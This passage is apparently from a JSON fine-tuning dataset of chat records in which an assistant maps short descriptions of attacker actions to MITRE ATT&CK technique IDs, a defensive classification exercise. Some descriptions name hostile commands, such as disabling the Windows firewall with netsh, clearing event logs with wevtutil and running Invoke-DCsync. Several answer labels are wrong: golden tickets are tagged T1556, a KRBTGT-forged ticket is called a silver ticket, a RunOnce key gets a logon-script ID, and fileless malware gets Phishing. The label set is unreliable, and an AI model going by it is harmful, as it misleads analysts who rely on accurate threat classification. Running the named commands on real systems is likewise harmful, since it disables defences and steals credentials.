            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leveraged a trusted signed driver and renamed it to \"networkadapter.sys\" to blend with legitimate drivers."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with the Active Directory Kerberos ticket‑granting service to issue golden tickets for any user."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses netsh advfirewall set allprofiles state off to turn off the host's firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a misconfiguration to generate self‑signed SAML tokens that the service accepts as valid, granting full system access."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious user utilizes the 'undo changes' feature of the cloud management platform to revert a tampered compute instance, restoring original configurations."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary logged in using the default 'admin' credentials that were never changed on the router."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email mimics the company's IT department, prompting users to provide credentials while appearing legit."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs a brute-force attack on a cloud service console by submitting millions of password guesses."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs Invoke-DCsync from PowerShell to impersonate the krbtgt account and retrieve credential data from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the default Windows password filter with a backdoored version that writes passwords to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor places a program in a directory with a space in its name and relies on the system's unquoted path handling to execute their code before the legitimate binary."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary overwrites the disk with pseudorandom data to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker decodes a Base64-encoded PowerShell script before executing it on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan stores service account credentials in the registry at HKLM\\Security\\Policy\\Secrets for persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Win32_Service class via WMI to start a malicious service with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accessed compromised AWS IAM keys and modified existing EC2 instance configurations to enable remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link embedded in a PDF document prompted users to download and run a ransomware executable after they clicked it."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites a benign LaunchAgent plist with a malicious version to achieve execution on session start."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware dynamically resolves C2 addresses by iterating through a list of domains derived from a cryptographic seed and the day of the month."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script was used to locate PDFs, DOCX, and image files, encrypt them with RSA, and delete the original unencrypted versions before leaving a payment instruction."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a reference to a malicious executable in the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce key."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses an infected .msi file to drop and execute a PowerShell script when the installer runs its deferred actions."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set utilizes a hidden virtual instance created by a cloud hypervisor to perform lateral movement while staying off the host."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script iterates through network shares, encrypting shared files with a symmetric key and leaving a .crypt extension on each file."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware periodically generates fresh DNS names via a DGA that blends static prefixes with random suffixes."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced attacker leverages a compromised switch to modify NetFlow records, falsifying traffic statistics sent to monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat stores its C2 beacon within the pixel data of a BMP image."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor swapped the victim’s legitimate browser executable with a trojanized copy to execute code on startup."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the BIOS ROM with a compromised version that installs a hidden payload during system power‑on initialization."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team modifies the domain's password policy to reduce the maximum password age to 1 day."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor generates a valid Kerberos ticket for a file server by leveraging a compromised KRBTGT secret, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged compromised AWS IAM user credentials to log into the victim's cloud console and conduct further actions."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the \"Mark of the Web\" flag to \"Internet\" but then uses a custom tool to strip that flag, evading policy enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows API GetDeviceInterfaceList to retrieve device driver interfaces."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employs Remote Desktop Protocol (RDP) to log into additional workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor alters the supply chain of GPU cards, embedding a rogue microcode that can execute arbitrary kernels on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through WHOIS enumeration, the intruder gathers registration dates and registrar information to assess the target's exposure."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks cloud instances to run unauthorized mining scripts, draining the victim's compute resources."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a vulnerable sudo configuration to gain root access on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the command 'wevtutil cl' to clear and then disable Windows event logs."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is exfiltrated via the C2's scheduled file transfer routine, blending with normal traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses stolen Azure AD service principal credentials to create new virtual machines in the victim's subscription."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a directory traversal vulnerability in a local service, causing it to crash and deny access to local resources."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries provision serverless containers on Google Cloud Run to execute payloads without ever touching a traditional VM."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary writes stolen password hashes into the Windows Registry under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script scans the '/proc' directory on a Linux host to enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group exfiltrates data by uploading it to a hidden Facebook page using the Graph API."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ ptrace to read and write the memory of a running process, effectively injecting and executing malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the hacker uploads a custom ransomware executable to the victim's machine through a remote desktop session, then runs it to encrypt files."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages a temporary FTP session to download a secondary payload, which then opens a covert WebSocket tunnel for further instructions."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages search engines to locate technical documentation and public advisories that reveal system weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Remote Procedure Call (RPC) channel, the intruder initiates a DCOM session to run PowerShell scripts on another host."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Outlook Web Access, the attacker sets a rule to funnel all incoming emails to an external address for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fileless malware for evading detection during data theft"
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disguises a payload as a harmless thumbnail image, embedding data within the image’s color palette."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware intercepts and modifies Bluetooth Low Energy (BLE) data packets, changing commands sent to paired IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a \"kubectl get configmaps --all-namespaces\" query to uncover configuration data stored in the cluster."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor divides a large database dump into 500 KB chunks, sending each chunk via separate POST requests to a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a trusted code signing tool to run unsigned malicious code, leveraging the tool’s elevated privileges for execution."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a domain account with a weak password to facilitate future login attempts."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the startup type of an existing service to automatic and sets a malicious binary path."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves inserting attacker-controlled SIDs into the SID-History of an account to achieve privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder deploys a reverse SSH shell to maintain persistence on a victim machine after initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the cron \"@reboot\" schedule on a Unix system to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executed a service discovery routine, targeting ports 445, 22, and 3389 to identify vulnerable services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages email client rules to automatically mark inbound phishing emails as read and move them to a subfolder that is not displayed by default."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool copies its payload into a process’s address space and invokes the entry point using reflective code loading to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a Windows update mechanism, the threat actor injects a malicious SIP module that intercepts and approves unsigned binaries as trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script automates the upload of harvested credential files to a private iCloud drive."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses ICMP echo requests to hide command and control traffic as a secondary fallback when other ports are filtered."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor remotely connects via RDP to a victim's workstation to execute further commands."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a routine that calls \"InitiateSystemShutdownEx\" to shut down the host before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious .dotm template into the shared network folder, which runs a backdoor macro whenever a new Word document is created from it."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs Kerberoasting by leveraging Mimikatz to request TGS tickets for high‑privilege service accounts and then attempts to crack the ticket hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries added malicious EC2 instances to the victim's AWS account and configured them to run their payloads."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
